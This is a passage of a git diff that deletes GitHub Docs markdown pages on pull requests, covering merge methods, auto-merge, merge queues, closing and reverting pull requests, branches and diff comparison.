the head branch runs into conflicts. -* Rebasing the commits is considered "unsafe," such as when a rebase is possible without merge conflicts but would produce a different result than a merge would. - -If you still want to rebase the commits but can't rebase and merge automatically, you must: -* Rebase the topic branch (or head branch) onto the base branch locally on the command line -* [Resolve any merge conflicts on the command line](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). -* Force-push the rebased commits to the pull request's topic branch (or remote head branch). - -Anyone with write permissions in the repository, can then [merge the changes](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) using the rebase and merge button. - -## Indirect merges - -A pull request can be merged automatically if its head branch is directly or indirectly merged into the base branch externally. In other words, if the head branch's tip commit becomes reachable from the tip of the target branch. For example: - -* Branch `main` is at commit **C**. -* Branch `feature` has been branched off of `main` and is currently at commit **D**. This branch has a pull request targeting `main`. -* Branch `feature_2` is branched off of `feature` and is now at commit **E**. This branch also has a pull request targeting `main`. - -If pull request **E** --> `main` is merged first, pull request **D** --> `main` will be marked as merged _automatically_ because all of the commits from `feature` are now reachable from `main`. Merging `feature_2` into `main` and pushing `main` to the server from the command line will mark _both_ pull requests as merged. - -Indirect merges can only occur either when the commits in the pull request's head branch are pushed directly to the repository's default branch, or when the commits in the pull request's head branch are present in another pull request and are merged into the repository's default branch using the **Create a merge commit** option. - -If a pull request containing commits present in another pull request's head branch is merged using the **Squash and merge** or **Rebase and merge** options, a new commit is created on the base branch and the other pull request will not be automatically merged. - -Pull requests that are merged indirectly are marked as `merged` even if [branch protection rules](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#about-branch-protection-rules) have not been satisfied. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts) diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md deleted file mode 100644 index 2e5dee0ffbfa..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Automatically merging a pull request -intro: You can increase development velocity by enabling auto-merge for a pull request so that the pull request will merge automatically when all merge requirements are met. -product: '{% data reusables.gated-features.auto-merge %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request - - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request -shortTitle: Merge PR automatically ---- -## About auto-merge - -If you enable auto-merge for a pull request, the pull request will merge automatically when all required reviews are met and all required status checks have passed. Auto-merge prevents you from waiting around for requirements to be met, so you can move on to other tasks. - -Before you can use auto-merge with a pull request, auto-merge must be enabled for the repository. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository). - -After you enable auto-merge for a pull request, if someone who does not have write permissions to the repository pushes new changes to the head branch or switches the base branch of the pull request, auto-merge will be disabled. For example, if a maintainer enables auto-merge for a pull request from a fork, auto-merge will be disabled after a contributor pushes new changes to the pull request. - -You can provide feedback about auto-merge through a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/pull-requests). - -## Enabling auto-merge - -{% data reusables.pull_requests.auto-merge-requires-branch-protection %} - -People with write permissions to a repository can enable auto-merge for a pull request. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull Requests" list, click the pull request you'd like to auto-merge. -1. Optionally, to choose a merge method, select the {% octicon "triangle-down" aria-label="Select the merge method" %} dropdown menu, then click a merge method. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). - - ![Screenshot of the merge box of a pull request. A dropdown menu, labeled with a downward-facing triangle, is outlined in dark orange.](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png) - -1. Click **Enable auto-merge**. - {% ifversion fpt %} -1. If you chose the merge or squash and merge methods, type a commit message and description and choose the email address you want to author the merge commit. - - > [!NOTE] - > The email dropdown menu is not available if you have email privacy enabled or if you only have one verified and visible email associated with your {% data variables.product.company_short %} account. - - {% endif %} - {% ifversion ghes or ghec %} -1. If you chose the merge or squash and merge methods, type a commit message and description. - {% endif %} -1. Click **Confirm auto-merge**. - -## Disabling auto-merge - -People with write permissions to a repository and pull request authors can disable auto-merge for a pull request. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull Requests" list, click the pull request you'd like to disable auto-merge for. -1. In the merge box, click **Disable auto-merge**. diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md deleted file mode 100644 index 2693aa767a94..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Closing a pull request -intro: 'You may choose to *close* a pull request without [merging it into the upstream branch](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). This can be handy if the changes proposed in the branch are no longer needed, or if another solution has been proposed in another branch.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request - - /articles/closing-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/closing-a-pull-request - - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- - -> [!TIP] -> If you opened a pull request with the wrong base branch, rather than closing it out and opening a new one, you can instead change the base branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request). - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull Requests" list, click the pull request you'd like to close. -1. At the bottom of the pull request, below the comment box, click **Close pull request**. -1. Optionally, [delete the branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request). This keeps the list of branches in your repository tidy. diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md deleted file mode 100644 index 4b48245e32ae..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Incorporating changes from a pull request -intro: 'You can propose changes to your work on {% data variables.product.github %} through pull requests. Learn how to create, manage, and merge pull requests.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request - - /articles/incorporating-changes-from-a-pull-request - - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -children: - - /about-pull-request-merges - - /merging-a-pull-request - - /automatically-merging-a-pull-request - - /merging-a-pull-request-with-a-merge-queue - - /closing-a-pull-request - - /reverting-a-pull-request -shortTitle: Incorporate changes ---- - diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md deleted file mode 100644 index c2255e122ee7..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Merging a pull request with a merge queue -intro: 'If a merge queue is required by the branch protection setting for the branch, you can add your pull requests to a merge queue and {% data variables.product.github %} will merge the pull requests for you once all required checks have passed.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Pull requests -shortTitle: Merge PR with merge queue -redirect_from: - - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue - - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue -defaultTool: webui -product: '{% data reusables.gated-features.merge-queue %}' ---- - -## About merge queues - -{% data reusables.pull_requests.merge-queue-overview %} -{% data reusables.pull_requests.merge-queue-references %} - -## Adding a pull request to a merge queue - -{% webui %} - -> [!NOTE] -> You can use {% data variables.product.prodname_cli %} to add a pull request to a merge queue. For more information, click the "{% data variables.product.prodname_cli %}" tab at the top of this article. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} - -1. In the "Pull Requests" list, click the pull request you would like to add to a merge queue. - -1. Click **Merge when ready** to add the pull request to the merge queue. Alternatively, if you are an administrator, you can: - - * Directly merge the pull request by checking **Merge without waiting for requirements to be met (bypass branch protections)**, if allowed by branch protection settings, and follow the standard flow. - - ![Screenshot of the merge queue options for a pull request.](/assets/images/help/pull_requests/merge-queue-options.png) - - > [!NOTE] - > You can click **Merge when ready** whenever you're ready to merge your proposed changes. {% data variables.product.github %} will automatically add the pull request to the merge queue once required approval and status checks conditions are met. - -1. Confirm you want to add the pull request to the merge queue by clicking **Confirm merge when ready**. - -{% endwebui %} - -{% cli %} - -With {% data variables.product.prodname_cli %}, you can use the `gh pr merge` command to add a pull request to a merge queue. If you are targeting a branch that requires a merge queue, this command automatically adds the pull request to the queue if required checks have passed. If required checks have not passed, this command enables auto-merge for the pull request. For more information, see [`gh pr merge`](https://cli.github.com/manual/gh_pr_merge) in the {% data variables.product.prodname_cli %} manual. - -{% endcli %} - -## Removing a pull request from a merge queue - -{% cli %} - -To remove a pull request from a merge queue, you must navigate to the repository's page on {% data variables.location.product_location %}. You cannot use {% data variables.product.prodname_cli %} to remove a pull request from a merge queue. - -{% endcli %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} - -1. In the "Pull Requests" list, click the pull request you would like to remove from a merge queue. - -1. To remove the pull request from the queue, click **Remove from queue**. - - ![Screenshot of the merge queue message at the bottom of a pull request. The "Remove from queue" button is outlined in dark orange.](/assets/images/help/pull_requests/remove-from-queue-button.png) - -Alternatively, you can navigate to the merge queue page for the base branch, click **...** next to the pull request you want to remove, and select **Remove from queue**. For information on how to get to the merge queue page for the base branch, see the section below. - -## Viewing merge queues - -{% cli %} - -You can view the merge queue for a base branch in various places on {% data variables.product.github %}. You cannot use {% data variables.product.prodname_cli %} to view a merge queue. - -{% endcli %} - -{% webui %} - -You can view the merge queue for a base branch in various places on {% data variables.product.github %}. - -{% endwebui %} - -* On the **Branches** page for the repository. We recommend you use this route if you don't have or don't know about a pull request already in a queue, and if you want to see what's in that queue. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository). - - ![Screenshot of the "Branches" page for a repository. A link, labeled "33 pull requests queued to merge," is outlined in dark orange.](/assets/images/help/pull_requests/merge-queue-branches-page.png) - -* On the pull request page when merge queue is required for merging, scroll to the bottom of the timeline and click the **merge queue** link. - - ![Screenshot of the merge queue message at the bottom of a pull request. The "merge queue" link is outlined in dark orange.](/assets/images/help/pull_requests/merge-queue-link.png) - -* The merge queue view shows the pull requests that are currently in the queue, with your pull requests clearly marked. - - ![Screenshot of the merge queue for a repository.](/assets/images/help/pull_requests/merge-queue-view.png) - -## Understanding why your pull request was removed from the merge queue - -{% data reusables.pull_requests.merge-queue-reject %} - -{% data reusables.pull_requests.merge-queue-removal-reasons %} diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md deleted file mode 100644 index c917b5192385..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Merging a pull request -intro: Merge a pull request into the upstream branch when work is completed. Anyone with push access to the repository can complete the merge. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request - - /articles/merging-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/merging-a-pull-request - - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -## About pull request merges - -In a pull request, you propose that changes you've made on a head branch should be merged into a base branch. By default, any pull request can be merged at any time, unless the head branch is in conflict with the base branch. However, there may be restrictions on when you can merge a pull request into a specific branch. For example, you may only be able to merge a pull request into the default branch if required status checks are passing. Repository administrators can add constraints like this to branches using branch protection rules. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -{% data reusables.repositories.rulesets-alternative %} - -{% data reusables.pull_requests.you-can-auto-merge %} - -If the pull request has merge conflicts, or if you'd like to test the changes before merging, you can [check out the pull request locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally) and merge it using the command line. - -You can't merge a draft pull request. For more information about draft pull requests, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests#draft-pull-requests). - -The repository may be configured so that the head branch for a pull request is automatically deleted when you merge a pull request. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches). - -> [!NOTE] -> {% data reusables.pull_requests.retargeted-on-branch-deletion %} -> For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#working-with-branches). - -Pull requests are merged using [the `--no-ff` option](https://git-scm.com/docs/git-merge#_fast_forward_merge), except for [pull requests with squashed or rebased commits](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges), which are merged using the fast-forward option. - -{% data reusables.pull_requests.close-issues-using-keywords %} - -If you decide you don't want the changes in a topic branch to be merged to the upstream branch, you can [close the pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) without merging. - -## Merging a pull request - -{% webui %} - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull Requests" list, click the pull request you'd like to merge. -1. Scroll down to the bottom of the pull request. Depending on the merge options enabled for your repository, you can: - - * [Merge all of the commits into the base branch](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) by clicking **Merge pull request**. If the **Merge pull request** option is not shown, click the merge dropdown menu and select **Create a merge commit**. - - ![Screenshot of the merge options for a pull request. The arrow to expand the dropdown is outlined in dark orange.](/assets/images/help/pull_requests/merge-pull-request-options.png) - - * [Squash the commits into one commit](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges#squash-and-merge-your-pull-request-commits) by clicking the merge dropdown menu, selecting **Squash and merge** and then clicking **Squash and merge**. - - * [Rebase the commits individually onto the base branch](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges#rebase-and-merge-your-pull-request-commits) by clicking the merge dropdown menu, selecting **Rebase and merge** and then clicking **Rebase and merge**. - - > [!NOTE] - > Rebase and merge will always update the committer information and create new commit SHAs. For more information, see [About pull request merges](/articles/about-pull-request-merges#rebase-and-merge-your-pull-request-commits). - -1. If prompted, type a commit message, or accept the default message. - - {% data reusables.pull_requests.default-commit-message-squash-merge %} -{% data reusables.files.choose-commit-email %} - - > [!NOTE] - > The email selector is not available for rebase merges, which do not create a merge commit{% ifversion squash-merge-email %}. For squash merges, the email selector is only shown if you are the pull request author and you have more than one email address associated with your account.{% else %}, or for squash merges, which credit the user who created the pull request as the author of the squashed commit.{% endif %} - -1. Click **Confirm merge**, **Confirm squash and merge**, or **Confirm rebase and merge**. -1. Optionally, [delete the branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request). This keeps the list of branches in your repository tidy. - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To merge a pull request, use the `gh pr merge` subcommand. Replace `pull-request` with the number, URL, or head branch of the pull request. - -```shell -gh pr merge PULL-REQUEST -``` - -Follow the interactive prompts to complete the merge. For more information about the merge methods that you can choose, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). - -Alternatively, you can use flags to skip the interactive prompts. For example, this command will squash the commits into a single commit with the commit message "my squash commit", merge the squashed commit into the base branch, and then delete the local and remote branch. - -```shell -gh pr merge 523 --squash --body "my squash commit" --delete-branch -``` - -{% endcli %} - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request) -* [AUTOTITLE](/desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch) using {% data variables.product.prodname_desktop %} -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts) diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md deleted file mode 100644 index dca6646a4c72..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Reverting a pull request -intro: You can revert a pull request after it's been merged to the upstream branch. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request - - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request - - /articles/reverting-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -## About reverting a pull request - -Reverting a pull request on {% data variables.product.github %} creates a new pull request that contains one revert of the merge commit from the original merged pull request. To revert pull requests, you must have [write permissions](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) in the repository. - -## Reverting a pull request - -> [!NOTE] -> You may need to revert the individual commits in your pull request if either of the following is true. -> -> * Reverting the pull request causes merge conflicts -> * The original pull request was not originally merged on {% data variables.product.github %}. For example, someone could have merged the pull request using a fast-forward merge on the command line. -> -> For more information about using Git to manually revert individual commits, see [Git revert](https://git-scm.com/docs/git-revert.html) in the Git documentation. - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull Requests" list, click the pull request you'd like to revert. -1. Near the bottom of the pull request, click **Revert**. If the **Revert** option isn't displayed, you'll need to ask the repository administrator for write permissions. - - ![Screenshot of a pull request's timeline. The "Revert" button is outlined in dark orange.](/assets/images/help/pull_requests/revert-pull-request-link.png) - -1. Merge the resulting pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). diff --git a/content/pull-requests/collaborating-with-pull-requests/index.md b/content/pull-requests/collaborating-with-pull-requests/index.md deleted file mode 100644 index 7554df95c3a9..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Collaborating with pull requests -intro: 'Track and discuss changes in issues, then propose and review changes in pull requests.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests - - /categories/63/articles - - /categories/collaborating - - /categories/collaborating-on-projects-using-pull-requests - - /categories/collaborating-on-projects-using-issues-and-pull-requests - - /categories/collaborating-with-issues-and-pull-requests - - /github/collaborating-with-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -children: - - /getting-started - - /working-with-forks - - /collaborating-on-repositories-with-code-quality-features - - /proposing-changes-to-your-work-with-pull-requests - - /addressing-merge-conflicts - - /reviewing-changes-in-pull-requests - - /incorporating-changes-from-a-pull-request -shortTitle: Collaborate with pull requests ---- - diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md deleted file mode 100644 index fb033b84d6ab..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: About branches -intro: 'Use a branch to isolate development work without affecting other branches in the repository. Each repository has one default branch, and can have multiple other branches. You can merge a branch into another branch using a pull request.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches - - /articles/working-with-protected-branches - - /articles/about-branches - - /github/collaborating-with-issues-and-pull-requests/about-branches - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -## About branches - -Branches allow you to develop features, fix bugs, or safely experiment with new ideas in a contained area of your repository. - -You always create a branch from an existing branch. Typically, you might create a new branch from the default branch of your repository. You can then work on this new branch in isolation from changes that other people are making to the repository. A branch you create to build a feature is commonly referred to as a feature branch or topic branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository). - -You can also use a branch to publish a {% data variables.product.prodname_pages %} site. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages). - -You must have write access to a repository to create a branch, open a pull request, or delete and restore branches in a pull request. For more information, see [AUTOTITLE](/get-started/learning-about-github/access-permissions-on-github). - -## About the default branch - -{% data reusables.branches.new-repo-default-branch %} The default branch is the branch that {% data variables.product.prodname_dotcom %} displays when anyone visits your repository. The default branch is also the initial branch that Git checks out locally when someone clones the repository. {% data reusables.branches.default-branch-automatically-base-branch %} - -By default, {% data variables.product.github %} names the default branch `main` in any new repository. - -{% data reusables.branches.change-default-branch %} - -{% data reusables.branches.set-default-branch %} - -## Working with branches - -Once you're satisfied with your work, you can open a pull request to merge the changes in the current branch (the _head_ branch) into another branch (the _base_ branch). For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -After a pull request has been merged, or closed, you can delete the head branch as this is no longer needed. You must have write access in the repository to delete branches. You can't delete branches that are directly associated with open pull requests. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request). - -{% data reusables.pull_requests.retargeted-on-branch-deletion %} -The following diagrams illustrate this. - -Here someone has created a branch called `feature1` from the `main` branch, and you've then created a branch called `feature2` from `feature1`. There are open pull requests for both branches. The arrows indicate the current base branch for each pull request. At this point, `feature1` is the base branch for `feature2`. If the pull request for `feature2` is merged now, the `feature2` branch will be merged into `feature1`. - -![Diagram that shows a feature1 branch with a pull request targeting main, and a feature2 branch with a pull request targeting feature1.](/assets/images/help/branches/pr-retargeting-diagram1.png) - -In the next diagram, someone has merged the pull request for `feature1` into the `main` branch, and they have deleted the `feature1` branch. As a result, {% data variables.product.prodname_dotcom %} has automatically retargeted the pull request for `feature2` so that its base branch is now `main`. - -![Diagram that shows both feature1 and feature2 branches with pull requests targeting main.](/assets/images/help/branches/pr-retargeting-diagram2.png) - -Now when you merge the `feature2` pull request, it'll be merged into the `main` branch. - -## Working with protected branches - -Repository administrators or custom roles with the "edit repository rules" permission can enable protections on a branch. If you're working on a branch that's protected, you won't be able to delete or force push to the branch. Repository administrators can additionally enable several other protected branch settings to enforce various workflows before a branch can be merged. - -> [!NOTE] -> If you're a repository administrator, you can merge pull requests on branches with branch protections enabled even if the pull request does not meet the requirements, unless branch protections have been set to "Include administrators." - -To see if your pull request can be merged, look in the merge box at the bottom of the pull request's **Conversation** tab. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -When a branch is protected: - -* You won't be able to delete or force push to the branch. -* If required status checks are enabled on the branch, you won't be able to merge changes into the branch until all of the required CI tests pass. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). -* If required pull request reviews are enabled on the branch, you won't be able to merge changes into the branch until all requirements in the pull request review policy have been met. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). -* If required review from a code owner is enabled on a branch, and a pull request modifies code that has an owner, a code owner must approve the pull request before it can be merged. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). -* If required commit signing is enabled on a branch, you won't be able to push any commits to the branch that are not signed and verified. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification) and [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-signed-commits). -* If you use {% data variables.product.prodname_dotcom %}'s conflict editor to fix conflicts for a pull request that you created from a protected branch, {% data variables.product.prodname_dotcom %} helps you to create an alternative branch for the pull request, so that your resolution of the conflicts can be merged. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github). - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -* [AUTOTITLE](/get-started/learning-about-github/github-glossary#branch) in the {% data variables.product.prodname_dotcom %} glossary -* [Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) in the Git documentation diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md deleted file mode 100644 index 285d1a434294..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: About comparing branches in pull requests -intro: Pull requests display diffs to compare the changes you made in your topic branch against the base branch that you want to merge your changes into. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests - - /articles/about-comparing-branches-in-pull-requests - - /github/collaborating-with-issues-and-pull-requests/about-comparing-branches-in-pull-requests - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Compare branches ---- - -> [!NOTE] -> When creating your pull request, you can change the base branch that you're comparing your changes against. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request#changing-the-branch-range-and-destination-repository). - -You can view proposed changes in a pull request in the Files changed tab. -![Screenshot of the tabs for a pull request. The "Files changed" tab is outlined in dark orange.](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png) - -Rather than viewing the commits themselves, you can view the proposed changes as they'll appear in the files once the pull request is merged. The files appear in alphabetical order within the Files changed tab. Additions to the files appear in green and are prefaced by a `+` sign while content that has been removed appears in red and is prefaced by a `-` sign. - -## Diff view options - -> [!TIP] -> If you're having a hard time understanding the context of a change, you can click **View** in the Files changed tab to view the whole file with the proposed changes. - -You have several options for viewing a diff: -* The unified view shows updated and existing content together in a linear view. -* The split view shows old content on one side and new content on the other side. -* The rich diff view shows a preview of how the changes will look once the pull request is merged. -* The source view shows the changes in source without the formatting of the rich diff view. - -You can also choose to ignore whitespace changes to get a more accurate view of the substantial changes in a pull request. - -![Screenshot of the "Files changed" tab for a pull request. The "Diff view" menu is outlined in dark orange.](/assets/images/help/pull_requests/diff-settings-menu.png) - -To simplify reviewing changes in a large pull request, you can filter the diff to only show selected file types, show files you are a CODEOWNER of, hide files you have already viewed, or hide deleted files. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request). - -![Screenshot of the file filter dropdown menu. The menu is expanded and outlined in dark orange.](/assets/images/help/pull_requests/file-filter-menu.png) - -You can also use the diff view to see which dependencies you are introducing or changing with your pull request, and whether the dependency versions contain security vulnerabilities. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request#reviewing-dependencies-in-a-pull-request). - -## Reasons diffs will not display - -* You've exceeded the total limit of files or certain file types. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/repository-limits#diff-limits). -* Your file matches a rule in the repository's _.gitattributes_ file to block that file from displaying by default. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github). - -## Three-dot and two-dot Git diff comparisons - -There are two comparison methods for the `git diff` command; two-dot 